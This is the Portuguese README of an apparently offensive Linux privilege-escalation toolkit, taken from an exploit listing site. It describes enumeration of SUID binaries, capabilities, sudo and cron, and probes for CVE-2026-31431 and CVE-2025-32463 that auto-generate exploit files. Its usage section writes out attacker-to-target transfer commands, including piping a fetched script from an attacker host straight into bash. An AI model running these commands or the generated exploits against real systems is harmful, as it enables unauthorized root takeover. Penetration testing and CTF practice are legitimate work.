## https://sploitus.com/exploit?id=64BC378F-7C15-51F8-A44B-62983EC52068
# ExploitMind Linux PrivEsc Toolkit
Script de enumeração e priorização automática de vetores de escalação de privilégios em ambientes Linux. Desenvolvido para uso em CTFs e pentests autorizados — identifica, filtra e ranqueia os vetores exploráveis com base em evidências concretas coletadas do sistema alvo, incluindo detecção ativa de CVEs recentes.
---
## Índice
- [Funcionalidades](#funcionalidades)
- [Modo de uso](#modo-de-uso)
- [Decision Engine](#decision-engine)
- [CVEs cobertos](#cves-cobertos)
- [Dependências](#dependências)
- [Blacklists](#blacklists)
- [Referências](#referências)
- [Disclaimer](#disclaimer)
---
## Funcionalidades
### Enumeração de SUID / SGID
Localiza todos os binários com bit SUID ou SGID ativos usando `find` com exclusão de pseudo-filesystems (`/proc`, `/sys`, `/dev`, `/run`). Para cada binário encontrado:
- Compara contra a blacklist de binários comuns do sistema que não oferecem vetores de escalação práticos
- Valida cada binário não-comum contra o [GTFOBins](https://gtfobins.org) via requisição HTTP — o link só é exibido se a página existir (HTTP 200)
- Detecta e lista separadamente binários SGID com o grupo proprietário
- Usa `mapfile` para iteração segura em caminhos com espaços
- Deduplica resultados do GTFOBins via associative array
### Enumeração de Capabilities
Executa `getcap -r /` com timeout e processa a saída com suporte aos dois formatos de output do `getcap` dependendo da versão do `libcap` instalada:
```
# Formato novo: /usr/bin/php8.4 cap_setuid=ep
# Formato antigo: /usr/bin/php8.4 = cap_setuid+ep
```
Para cada capability encontrada fora da blacklist:
- Separa `cap_setuid` (escalação direta) das demais capabilities
- Valida presença no GTFOBins antes de exibir o link
- Informa o path completo do binário e a capability atribuída
### Análise de Sudo
Executa `sudo -n -l` em modo não interativo para não travar em prompt de senha. Detecta:
- `(ALL : ALL) ALL` com regex tolerante a variações de espaço — escalação irrestrita para root
- Entradas `NOPASSWD` — execução de comandos específicos sem senha
- Ambos alimentam o Decision Engine com scores distintos
### CVE-2026-31431 — Copy Fail
Detecção em **duas etapas independentes**, sem tocar nenhum binário do sistema:
**Etapa 1 — bind() AF_ALG**
Tenta criar e vincular um socket `authencesn(hmac(sha256),cbc(aes))` via `AF_ALG`. Se falhar, o exploit é inviável. Kernels patchados ainda aceitam o bind, por isso esta etapa sozinha não é conclusiva.
**Etapa 2 — Probe da primitiva real**
Implementa a primitiva exata do exploit original ([theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)):
1. Cria arquivo temporário próprio em `/tmp` com conteúdo `init`
2. Executa a sequência `socket → setsockopt → sendmsg → splice()` idêntica ao PoC
3. Lê o resultado via `mmap` (page cache direto, sem passar pelo VFS)
4. Se o page cache contiver `vuln` → kernel vulnerável (`exit 100`)
5. Se mantiver `init` → kernel patchado (`exit 0`)
6. Arquivo temporário removido ao final independente do resultado
Se confirmado vulnerável, gera automaticamente o arquivo de exploit correspondente:
| Condição | Arquivo gerado | Comando |
|---|---|---|
| Python 3.10+ disponível | `copy-fail.py` | `python3 ./copy-fail.py` |
| gcc disponível | `copy-fail.c` | `gcc copy-fail.c -o copy-fail && ./copy-fail` |
| Nenhum compilador | — | Upload de binário compilado externamente |
### CVE-2025-32463 — Sudo chroot Escape
- Detecta a versão do sudo via `sudo -V` e verifica se está no range vulnerável (`1.9.0` a `1.9.17p1`)
- Busca presença de entrada `CHROOT=` na saída do `sudo -l`
- Vetor confirmado apenas quando **versão vulnerável + CHROOT= presentes simultaneamente**
- Se confirmado, gera automaticamente `sudo-chroot-exploit.sh` pronto para execução
### Análise de Crontabs
Varre todas as fontes de tarefas agendadas extraindo apenas linhas com instrução de execução real — ignora comentários, variáveis de ambiente e linhas vazias:
| Fonte | Descrição |
|---|---|
| `crontab -l` | Crontab do usuário atual |
| `/etc/crontab` | Crontab global do sistema |
| `/etc/cron.d/*` | Fragmentos de cron por pacote |
| `/var/spool/cron/` | Crontabs de todos os usuários com acesso de leitura |
Para cada script referenciado nas tarefas agendadas:
- **Gravável** → `[VULN]` — sobrescrever o arquivo equivale a RCE como o usuário que executa a tarefa
- **Existe mas não gravável** → informativo
- **Não existe** → sinalizado como possível PATH hijack
---
## Modo de uso
```bash
# Permissão de execução
chmod +x expm-linuxprivesc-toolkit.sh
# Execução padrão
./expm-linuxprivesc-toolkit.sh
# Salvar output em arquivo (exibe e grava simultaneamente via tee)
./expm-linuxprivesc-toolkit.sh -o resultado.txt
# Modo silencioso (suprime saída do sudo -l)
./expm-linuxprivesc-toolkit.sh -q
# Combinar opções
./expm-linuxprivesc-toolkit.sh -o resultado.txt -q
```
### Transferência para a máquina alvo
**Via Python HTTP server:**
```bash
# Máquina atacante
python3 -m http.server 8080
# Máquina alvo
wget http://SEU_IP:8080/expm-linuxprivesc-toolkit.sh -O /tmp/p.sh
chmod +x /tmp/p.sh && /tmp/p.sh
```
**Via curl:**
```bash
curl http://SEU_IP:8080/expm-linuxprivesc-toolkit.sh | bash | tee /tmp/enum.txt
```
**Via base64 (quando wget e curl estão bloqueados):**
```bash
# Máquina atacante
base64 -w0 expm-linuxprivesc-toolkit.sh
# Máquina alvo
echo "BASE64_AQUI" | base64 -d > /tmp/p.sh && chmod +x /tmp/p.sh && /tmp/p.sh
```
---
## Decision Engine
Ao final da análise, todos os vetores encontrados são agregados, pontuados e exibidos em tabela ordenada por score decrescente. Os **Top 3 vetores com score entre 95 e 100** são destacados separadamente com `[VULN]`.
### Legenda
| Indicador | Faixa de score | Significado |
|---|---|---|
| `[VULN]` vermelho | 90 – 100 | Vetor crítico, exploração direta provável |
| `[!]` amarelo | 60 – 89 | Vetor relevante, requer condições adicionais |
| `[i]` azul | 0 – 59 | Informativo, investigar manualmente |
### Tabela de scores
| Vetor | Score | Condição de ativação |
|---|---|---|
| SUDO FULL | 100 | `(ALL : ALL) ALL` no sudoers |
| CopyFail Python | 100 | Primitiva confirmada + Python 3.10+ + setuid alvo |
| CVE-2025-32463 CHROOT | 95 | Sudo 1.9.0–1.9.17p1 + `CHROOT=` no sudoers |
| Capabilities cap_setuid | 95 | `cap_setuid=ep` em binário fora da blacklist |
| Crontab Script Gravável | 90 | Script referenciado em crontab com permissão de escrita |
| SUDO NOPASSWD | 85 | Entrada `NOPASSWD` no sudoers |
| CopyFail C compile | 85 | Primitiva confirmada + gcc + setuid alvo |
| CopyFail Upload | 70 | Primitiva confirmada + setuid alvo, sem compilador |
| SUID GTFOBins | 30–70 | Binários SUID não-comuns com página no GTFOBins |
| Capabilities GTFOBins | 25–65 | Capabilities com entrada no GTFOBins |
| Crontab (revisar) | 40 | Tarefas agendadas encontradas, sem scripts graváveis |
Se nenhum vetor atingir score ≥ 95, o toolkit exibe o melhor vetor disponível com a indicação de cor correspondente ao seu score.
---
## CVEs cobertos
### CVE-2026-31431 — Copy Fail
| | |
|---|---|
| **CVSS** | 7.8 (High) |
| **Divulgado** | 29 de abril de 2026 |
| **Descoberto por** | Xint Code / Theori |
| **Patch mainline** | commit `a664bf3d603d` (1 de abril de 2026) |
**Descrição técnica:** Falha de lógica no template criptográfico `authencesn` do kernel Linux, introduzida em uma otimização de "in-place encryption" no commit `72548b093ee3` (agosto/2017). O bug faz com que páginas do page cache entrem na scatterlist de destino de uma operação AEAD submetida via socket `AF_ALG`, permitindo que um usuário local não privilegiado escreva 4 bytes controlados no page cache de qualquer arquivo legível.
**Mecanismo:** `socket(AF_ALG) → bind(aead) → sendmsg → splice()` — sem race conditions, sem offsets específicos de kernel, determinístico na primeira tentativa.
**Kernels afetados:** 4.14 até o patch mainline de abril/2026. Cobre praticamente todas as distribuições mainstream desde 2017: Ubuntu, Debian, RHEL, Amazon Linux, SUSE, Arch, Fedora.
**Mitigação imediata:**
```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null
```
> Em kernels RHEL-family com `CONFIG_CRYPTO_USER_API_AEAD=y` o módulo é built-in e não pode ser descarregado. Consulte o advisory da sua distribuição.
**Referências:**
[copy.fail](https://copy.fail) · [PoC original](https://github.com/theori-io/copy-fail-CVE-2026-31431) · [Writeup técnico](https://xint.io/blog/copy-fail-linux-distributions) · [CERT-EU Advisory](https://cert.europa.eu/publications/security-advisories/2026-005/) · [NVD](https://vulners.com/cve/CVE-2026-31431)
---
### CVE-2025-32463 — Sudo chroot Escape
| | |
|---|---|
| **Severidade** | High |
| **Versões afetadas** | sudo 1.9.0 a 1.9.17p1 |
**Descrição:** Vulnerabilidade no sudo que permite a usuários com entrada `CHROOT=` no sudoers escapar do ambiente chroot e acessar o sistema de arquivos real do host com privilégios de root.
**Condição necessária no sudoers:**
```
usuario ALL=(ALL:ALL) CHROOT=/caminho/jail /caminho/binario
```
**Referências:**
[CVE-2025-32463 — NVD](https://vulners.com/cve/CVE-2025-32463) · [PoC richmirch](https://github.com/richmirch/CVE-2025-32463)
---
## Dependências
| Ferramenta | Necessário | Função |
|---|---|---|
| `bash 4.0+` | **Sim** | Arrays associativos (`declare -A`) |
| `find` | **Sim** | Enumeração SUID/SGID |
| `getcap` | **Sim** | Enumeração de capabilities |
| `curl` | Recomendado | Verificação GTFOBins |
| `python3 3.10+` | Recomendado | Probe CopyFail completo + PoC Python |
| `python3 **Este toolkit é disponibilizado exclusivamente para fins educacionais, pesquisa em segurança ofensiva e testes de penetração em sistemas nos quais você possui autorização explícita e documentada.**
>
> A execução deste script em sistemas sem autorização é ilegal e pode acarretar responsabilidade civil e criminal nas jurisdições aplicáveis. O autor não se responsabiliza por danos, perda de dados, interrupção de serviços ou consequências legais decorrentes do uso fora dos limites autorizados.
>
> Em competições CTF, utilize este toolkit apenas nos ambientes de laboratório designados pela organização do evento. Os PoCs gerados automaticamente (CVE-2026-31431 e CVE-2025-32463) devem ser usados exclusivamente em máquinas alvo do seu CTF ou pentest autorizado.
---
exploitmind.com.br